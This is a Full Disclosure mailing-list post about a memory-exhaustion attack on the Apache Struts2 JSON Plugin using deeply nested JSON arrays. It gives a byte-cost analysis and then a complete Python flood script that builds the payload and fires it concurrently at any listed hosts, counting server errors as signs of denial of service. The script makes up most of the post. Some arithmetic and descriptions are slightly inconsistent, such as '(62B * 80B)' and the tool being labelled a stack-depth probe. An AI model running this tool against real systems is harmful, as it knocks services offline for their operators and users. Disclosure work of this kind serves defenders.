[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[FD] Maximised JSON Array Attacks -- "Let the Commas Hit the Floor" Proof of Concept
- To: "fulldisclosure@xxxxxxxxxxxx" <fulldisclosure@xxxxxxxxxxxx>
- Subject: [FD] Maximised JSON Array Attacks -- "Let the Commas Hit the Floor" Proof of Concept
- From: Daniel Owens via Fulldisclosure <fulldisclosure@xxxxxxxxxxxx>
- Date: Wed, 28 Oct 2026 05:30:20 +0000
On 29 August 2026, we released "Commas of D00m" -- an old proof of concept that
demonstrates unconstrained resource consumption in many JSON parsers. As
recently discussed (in "Continued Apache Struts2 JSON Plugin Insecure
Deserialisation"), the Apache Struts2 JSON Plugin's S2-072 and prior code
changes fail to sufficiently protect against this style of attack. In that
write-up, we examined the code and the underlying, incomplete fixes, as well as
marched through a series of basic mathematical analyses that illustrated the
point - showing how a single <2MB JSON string can consume more than 10 times
that in RAM and how, when run with rather modest concurrency, such a request
can consume more than a GB of RAM.
As discussed in that write-up, for the sake of simplicity, an array-of-arrays
of only 2 levels deep was chosen for the discussion, with several payload
options discussed (and the desired end goal -- consumption of excessive CPU for
a little less memory, shorter payloads, or more extreme memory consumption).
The following is the more "memory-hungry", more complex approach that better
maximises the 2MB character length limit that the Apache Struts2 JSON Plugin
applies (realistically, using an array-of-arrays of just 2 levels deep, the
string can be under 1MB and consume over 40MB of RAM on a single query -- some
queries can even get over 80GB per-request, but we'll save that as an exercise
for the reader).
The Approach
A JSON nested JSON array with the following dimensions:
* Level 0 (root): an array with exactly 2 children
* Level 1: each of the children from the above array contains an array with
exactly 8,256 children (a total of 16,512 elements, at the moment)
* Levels 2-63: each of those 16,512 elements is a chain of 62 nested
single-child arrays (`[[[[...]]]]`), with each level holding exactly one element
* Leaf: each chain terminates in an empty String `""`
Total: 16,512 chains, each exactly 62 singleton-array levels deep, fed by a 2 *
8256 fan-out at the top
Analysis
A single array can hold at most 10,000 direct children (`maxElements`), so an
array-of-arrays with no other content will use 1,290,001 characters (of the
2,097,152 maximum) and consume roughly 48.6MB, leaving 807,151 characters
unused simply because the depth and breadth limiters. This means that, without
having any "content" other than arrays, we can consume almost 50MB on a single
request, which is pretty good considering we are only using ~1.3 million of the
~2 million character budget. A massive array-of-arrays with no actual data,
though, is fairly noisy and, frankly, 50MB is small peanuts compared to what we
can get with just a little bit of data.
Before we go further, we need to discuss something that was mentioned in the
last write-up but that needs a little more explanation. Java's default
ArrayList capacity (which is the maximum number of elements that it can house
and shouldn't be conflated with "size") is 10. Most developers don't change
this value and neither does the Apache Struts2 JSON Plugin. The cost of this,
however, is not incurred, to its fullest, until the first `add(Object)` call is
made -- once that happens, the backing array is allocated, costing 56 bytes
(double that if not using the compressed oops, as discussed in the previous
write-up). After the first `add(Object)` call is made, the total cost of the
ArrayList is 80 bytes (for simplicity's sake, we're going to stick with the
compressed oops and lowest possible values throughout the rest of this work --
this value can be more depending on the environment) regardless of if the array
has 1 or 10 elements in it (we'll ignore the automatic resizing in mak
ing that statement, just for the sake of argument). This means that for the
cost of simply two characters -- `[` and `]`, which is just two bytes in our
input, we cost the server 80 bytes (which is 40 bytes/input character -- a
massive win for the attacker). The next best that we can do is an empty
String, which has a 20 bytes/input character pay-off, which is significantly
worse. Adding elements to the array costs us at least one character -- `,` --
but we only see the ArrayList grow at key intervals, so it actually has a
slightly worse bytes/input character pay-off overall.
Looking at the problem, we have ample room sideways -- 10,000 units left and
right per element -- but are constrained along the y-axis by the 64-depth
limit. As width doesn't immediately equal a significant number of bytes
consumed since the cost is stepped, it's best to go n-1 deep and then fill out
the leaves, which means that we get maximum usage -- 82,785,552 bytes of RAM
consumed on a single request (assume 64-bit HotSpot JVM running with compressed
oops and 8-byte alignment -- a standard configuration set) -- in the manner
described in the above "The Approach" section.
In other words, by fanning out into empty Strings and using 40 concurrent
requests, we can consume ~3.31GB of RAM on the host and maximise the 2MB input
limit that Apache has put in place.
The Maths
* ArrayList: ~24B + backing Object array of capacity n
* Backing array: 16B + 4nB (rounded to 8 bytes by the JVM)
* On first `add(Object)` call, the backing array goes to 56B
* If hit rapidly and concurrently, garbage collection will not run
(we'll take the worst case scenario, here, for simplicity), so growing an array
to 10,000 elements (14,053 capacity) costs 168,944 bytes in backing arrays
* One singleton-chain level: 80B / 2 input characters = 40 bytes/input
character
* One chain (62 levels + leaf): (62B * 80B) + 40B = 5,000B for (62 * 2) + 2
characters -- 126 characters (39.68 bytes/input character)\
* 16,512 chains: 82,560,000B
* two 8,256-wide level-2 arrays: 2 * 112,736 = 225,472B
* 2-wide root: 80B
Add it all up and you get 82,785,552B on a single request. Multiply that by 40
(40 concurrent requests) and you have ~3.31GB residing in memory at any given
time. Stepped attacks, especially if paired with high-compute requests (again,
boxing and unboxing requests are a great option), can dramatically increase
that while allowing the attacker to decrease the number of requests/second.
Note that we leave such a trivial tweak to the PoC to the reader.
The Script
The following is a modernised version of Commas of D00m known as "Let the
Commas Hit the Floor".
```python
#!/usr/bin/python3
# ---
# name: Nested-array depth overflow tester
# category: Testing and scanning
# tags: dos, payload, nested-array, recursion-depth, stack-overflow, json,
flood, load, http
# description: Floods a host with concurrent deeply nested JSON arrays (2 root
children x 8,256 nested children,
# each a 62-level chain of single-element arrays terminating in an empty
string) to probe JSON parser
# recursion/stack-depth limits.
# placeholders:
# - token: "@@HOSTS@@"
# field: hosts
# kind: list
# format: python
# label: Hosts
# - token: "@@CONTENT_TYPE@@"
# field: content_type
# kind: text
# label: Content-Type
# default: application/json
# - token: "@@PATH@@"
# field: path
# kind: text
# label: Request path
# optional: true
# default: /
# - token: "@@HEADERS@@"
# field: headers
# kind: map
# format: python
# label: Extra headers, like the cookie and authorisation headers
# optional: true
# - token: "@@PARALLEL_COUNT@@"
# field: parallel_count
# kind: text
# label: Parallel count (concurrent threads)
# optional: true
# default: 40
# - token: "@@TOTAL_CONNECTIONS@@"
# field: total_number_of_connections
# kind: text
# label: Total connections
# optional: true
# default: 1000
# - token: "@@RECREATE_PAYLOAD@@"
# field: recreate_payload
# kind: text
# label: Recreate payload file (true/false)
# optional: true
# default: true
# - token: "@@PAYLOAD_FILE@@"
# field: payload_file
# kind: text
# label: Payload file
# optional: true
# default: prebuilt_payload_tmp
# - token: "@@ROOT_CHILDREN@@"
# field: root_children
# kind: text
# label: Root array children
# optional: true
# default: 2
# - token: "@@LEVEL2_CHILDREN@@"
# field: level2_children
# kind: text
# label: Level-2 array children (per root child)
# optional: true
# default: 8256
# - token: "@@CHAIN_DEPTH@@"
# field: chain_depth
# kind: text
# label: Nested single-child array chain depth (per slot)
# optional: true
# default: 62
# - token: "@@LEAF_VALUE@@"
# field: leaf_value
# kind: text
# label: Leaf value (terminates each chain)
# optional: true
# default:
# - token: "@@REQUEST_TIMEOUT@@"
# field: request_timeout
# kind: text
# label: Per-request timeout in seconds
# optional: true
# default: 10
# ---
"""Flood a host with deeply nested JSON arrays to probe recursion/stack-depth
limits.
Builds a JSON array shaped as: a root array of 2 children, each a level-2 array
of
8,256 children (16,512 slots total), where each slot is a chain of 62 nested
single-child arrays terminating in an empty-string leaf. This shape stresses a
server-side JSON parser's recursion/stack handling without relying on one single
pathologically deep structure. Fires the payload at each host with a
configurable
amount of concurrency, tallying the status codes seen (413s and 5xx especially)
and
logging any 5xx bodies to ``request-responses.txt``. A Content-Type and at
least one
host are required.
Usage:
python script.py
"""
import concurrent.futures
import json
import os
import time
from datetime import datetime, timezone
import requests
# REPLACE/ADJUST THESE
config = {
'hosts': @@HOSTS@@,
'paths': ['@@PATH@@' or '/'],
'content_type': '@@CONTENT_TYPE@@' or 'application/json',
'extra_headers': @@HEADERS@@,
'parallel_count': int('@@PARALLEL_COUNT@@' or 40),
'total_number_of_connections': int('@@TOTAL_CONNECTIONS@@' or 1000),
'request_timeout': float('@@REQUEST_TIMEOUT@@' or 10),
# Data for the payload generation
'recreate_payload': ('@@RECREATE_PAYLOAD@@' or 'true').strip().lower() in
('1', 'true', 'yes'),
'payload_file': '@@PAYLOAD_FILE@@' or 'prebuilt_payload_tmp',
'root_children': int('@@ROOT_CHILDREN@@' or 2),
'level2_children': int('@@LEVEL2_CHILDREN@@' or 8256),
'chain_depth': int('@@CHAIN_DEPTH@@' or 62),
'leaf_value': '@@LEAF_VALUE@@',
}
if not config['hosts']:
raise ValueError('At least one host is required.')
def count_status_codes(responses, url):
"""
Walks through the responses, logs any 5xx bodies (labelled with ``url`` so
multi-host runs stay attributable), and counts the status codes
Args:
responses (list[Response]): List of response objects
url (str): The URL these responses came from
Returns:
dict: A dictionary with counts for each of the status codes that we
monitor
"""
five_xx_responses = [r for r in responses if r is not None and 500 <=
r.status_code < 600]
if five_xx_responses:
try:
with open('request-responses.txt', 'a', encoding='utf-8',
errors='replace') as f:
for response in five_xx_responses:
f.write(f"Response from {url}:\n")
for header, value in response.headers.items():
f.write(f"{header}: {value}\n")
f.write(f"{response.text}\n")
f.write("-" * 50 + "\n")
print(f"Successfully wrote {len(five_xx_responses)} response(s) to
request-responses.txt")
except Exception as e:
print(f"Error writing to file: {str(e)}")
return {
'2xx': len([r for r in responses if r is not None and 200 <=
r.status_code < 300]),
'4xx': len([r for r in responses if r is not None and 400 <=
r.status_code < 500]),
'400': len([r for r in responses if r is not None and r.status_code ==
400]),
'402': len([r for r in responses if r is not None and r.status_code ==
402]),
'403': len([r for r in responses if r is not None and r.status_code ==
403]),
'404': len([r for r in responses if r is not None and r.status_code ==
404]),
'413': len([r for r in responses if r is not None and r.status_code ==
413]),
'429': len([r for r in responses if r is not None and r.status_code ==
429]),
'5xx': len(five_xx_responses),
'500': len([r for r in responses if r is not None and r.status_code ==
500]),
'502': len([r for r in responses if r is not None and r.status_code ==
502]),
'503': len([r for r in responses if r is not None and r.status_code ==
503]),
'504': len([r for r in responses if r is not None and r.status_code ==
504]),
'failed': len([r for r in responses if r is None]),
}
def get_payload(recreate_payload=False):
"""
Grabs the payload that we are going to send: a root array of
``root_children`` children, each a level-2 array of ``level2_children``
children, where each child is a chain of ``chain_depth`` nested
single-child arrays terminating in ``leaf_value``.
The chain is built as a string directly (rather than as a nested Python
list passed to json.dumps) so that large chain_depth values aren't bounded
by Python's own recursion limit.
Args:
recreate_payload (bool): Whether we should stomp over the payload file
if it exists
Returns:
str: The payload to be sent
"""
fingerprint =
f"{config['root_children']}:{config['level2_children']}:{config['chain_depth']}:{config['leaf_value']}"
fingerprint_file = config['payload_file'] + '.fingerprint'
cached_fingerprint = None
if os.path.exists(fingerprint_file):
with open(fingerprint_file, 'r', encoding='utf-8') as file:
cached_fingerprint = file.read()
if recreate_payload or not os.path.exists(config['payload_file']) or
cached_fingerprint != fingerprint:
leaf_json = json.dumps(config['leaf_value'])
chain_json = '[' * config['chain_depth'] + leaf_json + ']' *
config['chain_depth']
level2_json = '[' + ','.join([chain_json] * config['level2_children'])
+ ']'
with open(config['payload_file'], 'w', encoding='utf-8') as file:
file.write('[')
file.write(','.join([level2_json] * config['root_children']))
file.write(']')
with open(fingerprint_file, 'w', encoding='utf-8') as file:
file.write(fingerprint)
with open(config['payload_file'], 'r', encoding='utf-8') as file:
return file.read()
def make_request(url, data=None, cookie_string=None):
try:
headers = {
'User-Agent': ('Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 '
'(KHTML, like Gecko) Chrome/137.0.0.0
Safari/537.36'),
'Accept': 'application/json, text/javascript, */*; q=0.01',
}
# Caller-supplied headers first, then the required Content-Type so it
wins.
headers.update(config['extra_headers'] or {})
headers['Content-Type'] = config['content_type']
if cookie_string:
headers['Cookie'] = cookie_string
with requests.Session() as session:
req = requests.Request(
'POST',
url,
data=data if data else None,
headers=headers,
)
prepared = session.prepare_request(req)
response = session.send(prepared, timeout=config['request_timeout'])
return response
except Exception as e:
print(f'Error (at
{datetime.now(timezone.utc).strftime("%Y%m%dT%H%M%SZ")}): {e}')
return None
def run_concurrent_requests(url, data, num_threads, num_runs,
cookie_string=None):
"""
Kicks off requests to run each query and then waits for the responses
collecting them into a list
Args:
url (str): URL to make requests to
data (str): The data to pass to the request
num_threads (int): Number of threads to use
num_runs (int): Number of requests to to make (in total)
cookie_string (str): Any cookies to include
Returns:
list[Response]: A list of responses
"""
with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as
executor:
futures = {executor.submit(make_request, url, data, cookie_string): i
for i in range(num_runs)}
responses = []
for future in concurrent.futures.as_completed(futures):
try:
responses.append(future.result())
except Exception:
responses.append(None)
return responses
def main():
# Initialize/truncate output buffer safely
try:
with open('request-responses.txt', 'w', encoding='utf-8') as file:
pass
except IOError as e:
print(f"[-] Warning: Cannot initialize response log file: {e}")
# Running the attack
print('Running the attack...')
## Probe JSON parser recursion/stack-depth limits with a deeply nested array
payload = get_payload(recreate_payload=config['recreate_payload'])
total_slots = config['root_children'] * config['level2_children']
for host in config['hosts']:
path = config['paths'][0]
if host.startswith(('http://', 'https://')):
url = f"{host.rstrip('/')}{path}"
else:
url = f"https://{host.rstrip('/')}{path}"
print(
f"Attacking {url} with a payload of size {len(payload)} bytes "
f"({total_slots} nested chains, {config['chain_depth']} levels deep
each)..."
)
start_time = time.time()
responses = run_concurrent_requests(url, data=payload,
num_threads=config['parallel_count'],
num_runs=config['total_number_of_connections'])
end_time = time.time()
counts = count_status_codes(responses, url)
# Print results
if counts.get('failed', 0) > 0:
print(f" [-] {counts['failed']} requests dropped (Connection
Timeout / Remote Reset)")
if counts.get('4xx', 0) > 0:
print(f" [*] {counts['4xx']} HTTP 4xx responses observed:")
for status in ['400', '403', '404']:
if counts.get(status, 0) > 0:
print(f" -> {status}: {counts[status]}")
if counts.get('413', 0) > 0:
print(f" -> 413 (Payload Too Large): {counts['413']}
*Action required: lower dimensions*")
print(f" [*] Rate Limiters: {counts.get('429', 0)} HTTP 429 (Too Many
Requests) observed.")
if counts.get('5xx', 0) > 0:
print(f" [!] {counts['5xx']} HTTP 5xx Server Errors observed
(Potential Denial of Service):")
for status in ['500', '502', '503', '504']:
if counts.get(status, 0) > 0:
print(f" -> {status}: {counts[status]}")
attack_time = end_time - start_time
if attack_time >= 1:
print(
f" {int(attack_time)} seconds to perform the attack run
(started at "
f"{datetime.fromtimestamp(start_time,
tz=timezone.utc).isoformat()} / ended at "
f"{datetime.fromtimestamp(end_time,
tz=timezone.utc).isoformat()})"
)
else:
print(
f" {int(attack_time * 1000)} milliseconds to perform the
attack run (started at "
f"{datetime.fromtimestamp(start_time,
tz=timezone.utc).isoformat()} / ended at "
f"{datetime.fromtimestamp(end_time,
tz=timezone.utc).isoformat()})"
)
print("-" * 50)
print('Done with the attack -- check the logs')
if __name__ == "__main__":
main()
```
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/